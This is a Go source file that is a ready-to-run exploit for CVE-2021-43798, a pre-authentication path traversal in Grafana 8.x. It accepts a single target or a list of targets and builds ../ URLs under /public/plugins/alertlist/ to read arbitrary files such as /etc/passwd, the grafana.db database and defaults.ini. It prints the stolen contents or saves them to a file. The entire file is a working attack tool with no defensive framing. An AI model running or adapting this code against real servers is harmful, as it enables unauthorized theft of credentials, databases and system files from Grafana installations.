package main import ( "bufio" "crypto/tls" "errors" "flag" "fmt" "io" "net/http" "os" "strings" ) type Options struct { list string target string file string output string dumpDatabase bool dumpConfig bool } var client = &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } func log(level, message string) { fmt.Printf("[%s] %s\n", strings.ToUpper(level), message) if level == "fatal" { os.Exit(1) } } func main() { options := &Options{} flag.StringVar(&options.list, "list", "", "List of targets") flag.StringVar(&options.target, "target", "", "Single target to run against") flag.StringVar(&options.file, "file", "", "Path to file (Ex: /etc/passwd)") flag.StringVar(&options.output, "output", "", "Output to file (Only for single targets)") flag.BoolVar(&options.dumpDatabase, "dump-database", false, "Dump sqlite3 database (/var/lib/grafana/grafana.db)") flag.BoolVar(&options.dumpConfig, "dump-config", false, "Dump defaults.ini config file (conf/defaults.ini)") flag.Parse() if options.list != "" && options.target != "" { log("fatal", "Cannot specify both list and single target") } if options.list != "" && options.output != "" { log("fatal", "Cannot output to file when using list") } if options.list == "" && options.target == "" { log("fatal", "Must specify targets (-target http://localhost:3000)") } if options.dumpDatabase || options.dumpConfig { if options.file != "" { log("fatal", "Cannot dump database while using file") } if options.dumpDatabase && options.dumpConfig { log("fatal", "Cannot dump database and config at the same time") } } else { if options.file == "" { log("fatal", "File path must be specified (-file /etc/passwd)") } if !strings.HasPrefix(options.file, "/") { log("fatal", "File path must start with a / (-file /etc/passwd)") } } fmt.Println("CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)") fmt.Print("Made by Tay (https://github.com/taythebot)\n\n") if options.list != "" { f, err := os.Open(options.list) if err != nil { log("fatal", fmt.Sprintf("Failed to open list: %s", err)) } defer f.Close() scanner := bufio.NewScanner(f) for scanner.Scan() { target := scanner.Text() log("info", fmt.Sprintf("Exploiting target %s", target)) output, err := exploit(target, options.file, options.dumpDatabase, options.dumpConfig) if err != nil { log("error", fmt.Sprintf("Failed to exploit target %s: %s", target, err)) } else { log("info", fmt.Sprintf("Successfully exploited target %s", target)) fmt.Println(output) } } } else { log("info", fmt.Sprintf("Exploiting target %s", options.target)) output, err := exploit(options.target, options.file, options.dumpDatabase, options.dumpConfig) if err != nil { log("error", fmt.Sprintf("Failed to exploit target %s: %s", options.target, err)) } else { log("info", fmt.Sprintf("Successfully exploited target %s", options.target)) fmt.Println(output) if options.output != "" { f, err := os.Create(options.output) if err != nil { log("fatal", fmt.Sprintf("Failed to create output file: %s", err)) } defer f.Close() if _, err := f.Write([]byte(output)); err != nil { log("fatal", fmt.Sprintf("Failed to write to output file: %s", err)) } log("info", fmt.Sprintf("Succesfully saved output to file %s", options.output)) } } } } func exploit(target, file string, dumpDatabase, dumpConfig bool) (string, error) { url := target + "/public/plugins/alertlist/" if dumpConfig { url += "../../../../../conf/defaults.ini" } else if dumpDatabase { url += "../../../../../../../../var/lib/grafana/grafana.db" } else { url += "../../../../../../../../" + file } req, err := http.NewRequest("GET", url, nil) if err != nil { return "", err } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36") resp, err := client.Do(req) if err != nil { return "", err } if resp.StatusCode != 200 { return "", errors.New("status code is not 200") } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return "", err } bodyString := string(body) if bodyString == "seeker can't seek\n" { return "", errors.New("cannot read requested file") } return bodyString, nil }